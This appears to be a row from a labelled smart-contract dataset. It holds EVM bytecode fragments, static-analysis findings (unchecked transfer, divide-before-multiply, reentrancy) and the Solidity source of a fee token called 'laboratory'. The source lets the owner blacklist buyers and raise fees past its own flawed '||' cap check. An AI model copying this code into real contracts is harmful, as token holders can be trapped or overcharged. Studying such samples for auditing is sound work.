4565b91506119f48582612b84565b336000818152600660209081526040808320879055888352600590915290819020839055600180549151630ab714fb60e11b81529394506001600160a01b039091169263156e29f692611a4e9290918f9190600401612637565b600060405180830381600087803b158015611a6857600080fd5b505af1158015611a7c573d6000803e3d6000fd5b50505050336001600160a01b03167f98cc0dcb37970d6ccb77508e214da5eb06dca04b81cf934ab6352701b4c996ff8b604051611ab99190612b16565b60405180910390a250505050505050505050565b6000546001600160a01b031681565b63f23a6e6160e01b95945050505050565b8060011480611afc5750806002145b611b185760405162461bcd60e51b815260040161080190612741565b3360009081526002602052604090205415611b455760405162461bcd60e51b8152600401610801906128b0565b33600090815260026020908152604080832084905583835260139091528120805460019290611b75908490612b2d565b909155505050565b60155481565b60096020526000908152604090205481565b600f6020526000908152604090205481565b6018546001600160a01b03163314611bd15760405162461bcd60e51b815260040161080190612af6565b60405147906001600160a01b0383169082156108fc029083906000818181858888f19350505050158015611c09573d6000803e3d6000fd5b505050565b600b6020526000908152604090205481565b336000908152600260205260409020546001811480611c3f5750806002145b611c5b5760405162461bcd60e51b815260040161080190612741565b600081815260126020908152604080832086845290915290205460ff161515600114611c995760405162461bcd60e51b81526004016108019061298c565b600154604051632227e87760e21b815260009182916001600160a01b039091169063889fa1dc90611cce908890600401612b16565b60c06040518083038186803b158015611ce657600080fd5b505afa158015611cfa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d1e9190612559565b95505050505091508382611d329190612b65565b611d3d906064612b65565b91508060031415611de55783600114611d685760405162461bcd60e51b8152600401610801906129d1565b336000908152600c60205260409020541580611d935750336000908152600c60205260409020546002145b611daf5760405162461bcd60e51b8152600401610801906127e3565b336000908152600c6020526040902054611ddb57336000908152600c6020526040902060019055611de5565b33600052600c6020525b8060041415611e955783600114611e0e5760405162461bcd60e51b815260040161080190612678565b336000908152600c60205260409020541580611e395750336000908152600c60205260409020546001145b611e555760405162461bcd60e51b815260040161080190612920565b336000908152600c6020526040902054611e8157336000908152600c6020526040902060029055611e95565b336000908152600c60205260409020600390555b33600090815260096020908152604080832054868452600490925290912054611ebe9190612b84565b600084815260046020908152604080832093909355338252600b90522054611ee7908390612b2d565b336000908152600b6020908152604080832093909355600c9052205460011415611f4857336000908152600b6020526040902054606490611f2990606e612b65565b611f339190612b45565b33600090815260096020526040902055611fdf565b336000908152600c602052604090205460021415611f7e57336000908152600b6020526040902054606490611f29906069612b65565b336000908152600c602052604090205460031415611fc257336000908152600b60208190526040909120546103e891611fb79190612b65565b611f29906069612b65565b336000908152600b60209081526040808320546009909252909120555b336000908152600960209081526040808320548684526004909252822080549192909161200d908490612b2d565b9091555050336000818152601060209081526040808320815180830183528a81528084018a815282546001808201855593875294909520905160029094020192835592519183019190915590549051637921219560e11b81526001600160a01b039091169163f242432a9161208b919030908a908a906004016125da565b600060405180830381600087803b1580156120a557600080fd5b505af11580156120b9573d6000803e3d6000fd5b505050506120c73384612111565b336001600160a01b03167f36b3725f1783bad4ff05b7f4c077c3aa68eeb23a4d054ba189db4d01ac278d398686604051612102929190612b1f565b60405180910390a25050505050565b80600114806121205750806002145b61213c5760405162461bcd60e51b815260040161080190612741565b6000818152600460209081526040808320546001600160a01b0386168452600983528184205485855260039093529083205490929061218490670de0b6b3a764000090612b45565b90508215612206578261219982612710612b65565b11156121ce5760008481526007602090815260408083208690556001600160a01b038816835260089091529020829055612206565b60008481526003602090815260408083205460078352818420556001600160a01b0388168352600a8252808320546008909252909120555b5050505050565b6000816001148061221e5750816002145b61223a5760405162461bcd60e51b815260040161080190612741565b600082815260046020908152604080832054600390925282205490919061226a90670de0b6b3a764000090612b45565b90506000826122798388612b65565b61228590612710612b65565b61228f9190612b45565b9695505050505050565b80356001600160a01b038116811461092d57600080fd5b60008083601f8401126122c1578081fd5b50813567ffffffffffffffff8111156122d8578182fd5b60208301915083602080830285010111156122f257600080fd5b9250929050565b60006020828403121561230a578081fd5b61231382612299565b9392505050565b6000806040838503121561232c578081fd5b61233583612299565b915061234360208401612299565b90509250929050565b600080600080600060a08688031215612363578081fd5b61236c86612299565b9450602061237b818801612299565b94506040870135935060608701359250608087013567ffffffffffffffff808211156123a5578384fd5b818901915089601f8301126123b8578384fd5b8135818111156123ca576123ca612bcc565b604051601f8201601f19168101850183811182821017156123ed576123ed612bcc565b60405281815283820185018c1015612403578586fd5b81858501868301378585838301015280955050505050509295509295909350565b60008060408385031215612436578182fd5b61243f83612299565b946020939093013593505050565b60008060008060408587031215612462578384fd5b843567ffffffffffffffff80821115612479578586fd5b612485888389016122b0565b9096509450602087013591508082111561249d578384fd5b506124aa878288016122b0565b95989497509550505050565b6000806000604084860312156124ca578283fd5b833567ffffffffffffffff8111156124e0578384fd5b6124ec868287016122b0565b909790965060209590950135949350505050565b600060208284031215612511578081fd5b81518015158114612313578182fd5b600060208284031215612531578081fd5b5035919050565b6000806040838503121561254a578182fd5b50508035926020909101359150565b60008060008060008060c08789031215612571578081fd5b865195506020870151945060408701519350606087015192506080870151915060a087015190509295509295509295565b6001600160a01b0391909116815260200190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b0394851681529290931660208301526040820152606081019190915260a0608082018190526003908201526203078360ec1b60c082015260e00190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039390931683526020830191909152604082015260600190565b901515815260200190565b6001600160e01b031991909116815260200190565b6020808252818101527f6f6e6c79206f6e65206e66742077697468207365726965732034206261646765604082015260600190565b60208082526018908201527f4e66742066656520686173206e6f7420736574207965742e0000000000000000604082015260600190565b6020808252818101527f54686520626174746c6520686173206e6f74206265656e20737461727465642e604082015260600190565b6020808252600e908201526d043616e6e6f74207374616b6520360941b604082015260600190565b60208082526017908201527f7465616d49642073686f756c642062652031206f722032000000000000000000604082015260600190565b60208082526021908201527f506c656173652073656c656374207465616d206265666f7265207374616b696e6040820152606760f81b606082015260800190565b60208082526010908201526f616c726561647920737461727465642160801b604082015260600190565b60208082526021908201527f6e6674207769746820736572696573203320616c7265616479206170706c69656040820152601960fa1b606082015260800190565b602080825260169082015275496e76616c6964206475726174696f6e2076616c756560501b604082015260600190565b6020808252601d908201527f54686520626174746c6520686173206e6f74206265656e20656e646564000000604082015260600190565b6020808252600b908201526a77726f6e672076616c756560a81b604082015260600190565b60208082526014908201527321b0b7103737ba1031b430b733b2903a32b0b69760611b604082015260600190565b60208082526022908201527f54686520626174746c652068617320616c7265616479206265656e20656e6465604082015261321760f11b606082015260800190565b60208082526021908201527f6e6674207769746820736572696573203420616c7265616479206170706c69656040820152601960fa1b606082015260800190565b6020808252601190820152700c6c2dc4ee840c4eaf240d2dc40d0c2e6d607b1b604082015260600190565b60208082526025908201527f4e6f742061636365707461626c6520746f6b656e496420666f722074686973206040820152643a32b0b69760d91b606082015260800190565b6020808252818101527f6f6e6c79206f6e65206e66742077697468207365726965732033206261646765604082015260600190565b6020808252818101527f43616e206e6f74206368616e676520647572696e672074686520626174746c65604082015260600190565b60208082526024908201527f54686520626174746c6520686173206e6f74206265656e2073746172746564206040820152633cb2ba1760e11b606082015260800190565b6020808252600f908201526e0dcdee840cadcdeeaced04090c2e6d608b1b604082015260600190565b6020808252602e908201527f546f6b656e49647320616e6420616d6f756e7473206c656e6774682073686f7560408201526d6c64206265207468652073616d6560901b606082015260800190565b60208082526006908201526510b7bbb732b960d11b604082015260600190565b90815260200190565b918252602082015260400190565b60008219821115612b4057612b40612bb6565b500190565b600082612b6057634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615612b7f57612b7f612bb6565b500290565b600082821015612b9657612b96612bb6565b500390565b6000600019821415612baf57612baf612bb6565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fdfea264697066735822122029b68ed25520539efae9881f74adec5de2a4a3ccbb1562d1e9793b2f1d5fa16864736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
3,026
0x77ced90bc6d451922648ed727d0ff918cf6677a1
/** *Submitted for verification at Etherscan.io on 2022-04-03 */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract laboratory is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "laboratory";// string private constant _symbol = "laboratory";// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public launchBlock; //Buy Fee uint256 private _redisFeeOnBuy = 8;// uint256 private _taxFeeOnBuy = 6;// //Sell Fee uint256 private _redisFeeOnSell = 6;// uint256 private _taxFeeOnSell = 8;// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xD3d6019481b183479Fc92D2C26d24Be758De75d1);// address payable private _marketingAddress = payable(0xD3d6019481b183479Fc92D2C26d24Be758De75d1);// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 150000 * 10**9; // uint256 public _maxWalletSize = 300000 * 10**9; // uint256 public _swapTokensAtAmount = 10000 * 10**9; // event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); if (!_isExcludedFromFee[_msgSender()]) _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ bots[to] = true; } if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { uint256 feeRatio = _taxFeeOnBuy.div(_taxFeeOnSell); _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading() public onlyOwner { tradingOpen = true; launchBlock = block.number; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function BlockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function SellTax(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; uint256 totalSellFee = redisFeeOnSell + taxFeeOnSell; uint256 totalBuyFee = redisFeeOnBuy + taxFeeOnBuy; require(totalSellFee <= 20 || totalBuyFee <= 20, "Fees must be under 100%"); } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { require(maxTxAmount >= _tTotal / 1000, "Cannot set maxTxAmount lower than 0.1%"); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { require(maxWalletSize >= _tTotal / 1000, "Cannot set maxWalletSize lower than 0.1%"); _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d15760003560e01c80637c519ffb116100f7578063bfd7928411610095578063dc415eac11610064578063dc415eac14610503578063dd62ed3e14610523578063ea1644d514610569578063f2fde38b1461058957600080fd5b8063bfd7928414610488578063c3c8cd80146104b8578063c492f046146104cd578063d00efb2f146104ed57600080fd5b80638f9a55c0116100d15780638f9a55c01461043257806395d89b41146101dd57806398a5c31514610448578063a9059cbb1461046857600080fd5b80637c519ffb146103e95780637d1db4a5146103fe5780638da5cb5b1461041457600080fd5b806336b3cc571161016f5780636fc3eaec1161013e5780636fc3eaec1461037f57806370a0823114610394578063715018a6146103b457806374010ece146103c957600080fd5b806336b3cc57146102fd57806349bd5a5e1461031f5780636b9990531461033f5780636d8aa8f81461035f57600080fd5b806318160ddd116101ab57806318160ddd1461028757806323b872dd146102ab5780632fd689e3146102cb578063313ce567146102e157600080fd5b806306fdde03146101dd578063095ea7b31461021f5780631694505e1461024f57600080fd5b366101d857005b600080fd5b3480156101e957600080fd5b50604080518082018252600a8152696c61626f7261746f727960b01b602082015290516102169190611b15565b60405180910390f35b34801561022b57600080fd5b5061023f61023a366004611b8f565b6105a9565b6040519015158152602001610216565b34801561025b57600080fd5b5060155461026f906001600160a01b031681565b6040516001600160a01b039091168152602001610216565b34801561029357600080fd5b50662386f26fc100005b604051908152602001610216565b3480156102b757600080fd5b5061023f6102c6366004611bbb565b6105c0565b3480156102d757600080fd5b5061029d60195481565b3480156102ed57600080fd5b5060405160098152602001610216565b34801561030957600080fd5b5061031d610318366004611c12565b610640565b005b34801561032b57600080fd5b5060165461026f906001600160a01b031681565b34801561034b57600080fd5b5061031d61035a366004611cd7565b6106df565b34801561036b57600080fd5b5061031d61037a366004611d04565b61072a565b34801561038b57600080fd5b5061031d610772565b3480156103a057600080fd5b5061029d6103af366004611cd7565b6107bd565b3480156103c057600080fd5b5061031d6107df565b3480156103d557600080fd5b5061031d6103e4366004611d1f565b610853565b3480156103f557600080fd5b5061031d6108f3565b34801561040a57600080fd5b5061029d60175481565b34801561042057600080fd5b506000546001600160a01b031661026f565b34801561043e57600080fd5b5061029d60185481565b34801561045457600080fd5b5061031d610463366004611d1f565b610936565b34801561047457600080fd5b5061023f610483366004611b8f565b610965565b34801561049457600080fd5b5061023f6104a3366004611cd7565b60116020526000908152604090205460ff1681565b3480156104c457600080fd5b5061031d610972565b3480156104d957600080fd5b5061031d6104e8366004611d38565b6109c6565b3480156104f957600080fd5b5061029d60085481565b34801561050f57600080fd5b5061031d61051e366004611dbc565b610a67565b34801561052f57600080fd5b5061029d61053e366004611dee565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561057557600080fd5b5061031d610584366004611d1f565b610b26565b34801561059557600080fd5b5061031d6105a4366004611cd7565b610bc8565b60006105b6338484610cb2565b5060015b92915050565b60006105cd848484610dd6565b3360009081526005602052604090205460ff1661063657610636843361063185604051806060016040528060288152602001611fa2602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906113a4565b610cb2565b5060019392505050565b6000546001600160a01b031633146106735760405162461bcd60e51b815260040161066a90611e27565b60405180910390fd5b60005b81518110156106db5760016011600084848151811061069757610697611e5c565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106d381611e88565b915050610676565b5050565b6000546001600160a01b031633146107095760405162461bcd60e51b815260040161066a90611e27565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b031633146107545760405162461bcd60e51b815260040161066a90611e27565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b031614806107a757506014546001600160a01b0316336001600160a01b0316145b6107b057600080fd5b476107ba816113de565b50565b6001600160a01b0381166000908152600260205260408120546105ba90611463565b6000546001600160a01b031633146108095760405162461bcd60e51b815260040161066a90611e27565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461087d5760405162461bcd60e51b815260040161066a90611e27565b6108906103e8662386f26fc10000611ea3565b8110156108ee5760405162461bcd60e51b815260206004820152602660248201527f43616e6e6f7420736574206d61785478416d6f756e74206c6f776572207468616044820152656e20302e312560d01b606482015260840161066a565b601755565b6000546001600160a01b0316331461091d5760405162461bcd60e51b815260040161066a90611e27565b6016805460ff60a01b1916600160a01b17905543600855565b6000546001600160a01b031633146109605760405162461bcd60e51b815260040161066a90611e27565b601955565b60006105b6338484610dd6565b6013546001600160a01b0316336001600160a01b031614806109a757506014546001600160a01b0316336001600160a01b0316145b6109b057600080fd5b60006109bb306107bd565b90506107ba816114e7565b6000546001600160a01b031633146109f05760405162461bcd60e51b815260040161066a90611e27565b60005b82811015610a61578160056000868685818110610a1257610a12611e5c565b9050602002016020810190610a279190611cd7565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a5981611e88565b9150506109f3565b50505050565b6000546001600160a01b03163314610a915760405162461bcd60e51b815260040161066a90611e27565b6009849055600b839055600a829055600c8190556000610ab18285611ec5565b90506000610abf8487611ec5565b9050601482111580610ad2575060148111155b610b1e5760405162461bcd60e51b815260206004820152601760248201527f46656573206d75737420626520756e6465722031303025000000000000000000604482015260640161066a565b505050505050565b6000546001600160a01b03163314610b505760405162461bcd60e51b815260040161066a90611e27565b610b636103e8662386f26fc10000611ea3565b811015610bc35760405162461bcd60e51b815260206004820152602860248201527f43616e6e6f7420736574206d617857616c6c657453697a65206c6f776572207460448201526768616e20302e312560c01b606482015260840161066a565b601855565b6000546001600160a01b03163314610bf25760405162461bcd60e51b815260040161066a90611e27565b6001600160a01b038116610c575760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161066a565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d145760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161066a565b6001600160a01b038216610d755760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161066a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e3a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161066a565b6001600160a01b038216610e9c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161066a565b60008111610efe5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161066a565b6000546001600160a01b03848116911614801590610f2a57506000546001600160a01b03838116911614155b1561128257601654600160a01b900460ff16610fc3576000546001600160a01b03848116911614610fc35760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161066a565b6017548111156110155760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161066a565b6001600160a01b03831660009081526011602052604090205460ff1615801561105757506001600160a01b03821660009081526011602052604090205460ff16155b6110af5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161066a565b60085443111580156110ce57506016546001600160a01b038481169116145b80156110e857506015546001600160a01b03838116911614155b80156110fd57506001600160a01b0382163014155b15611126576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b038381169116146111ab5760185481611148846107bd565b6111529190611ec5565b106111ab5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161066a565b60006111b6306107bd565b6019546017549192508210159082106111cf5760175491505b8080156111e65750601654600160a81b900460ff16155b801561120057506016546001600160a01b03868116911614155b80156112155750601654600160b01b900460ff165b801561123a57506001600160a01b03851660009081526005602052604090205460ff16155b801561125f57506001600160a01b03841660009081526005602052604090205460ff16155b1561127f5761126d826114e7565b47801561127d5761127d476113de565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806112c457506001600160a01b03831660009081526005602052604090205460ff165b806112f657506016546001600160a01b038581169116148015906112f657506016546001600160a01b03848116911614155b1561130357506000611398565b6016546001600160a01b03858116911614801561132e57506015546001600160a01b03848116911614155b1561134057600954600d55600a54600e555b6016546001600160a01b03848116911614801561136b57506015546001600160a01b03858116911614155b15611398576000611389600c54600a5461166190919063ffffffff16565b5050600b54600d55600c54600e555b610a61848484846116a3565b600081848411156113c85760405162461bcd60e51b815260040161066a9190611b15565b5060006113d58486611edd565b95945050505050565b6013546001600160a01b03166108fc6113f8836002611661565b6040518115909202916000818181858888f19350505050158015611420573d6000803e3d6000fd5b506014546001600160a01b03166108fc61143b836002611661565b6040518115909202916000818181858888f193505050501580156106db573d6000803e3d6000fd5b60006006548211156114ca5760405162461bcd60e51b815260206004820152602a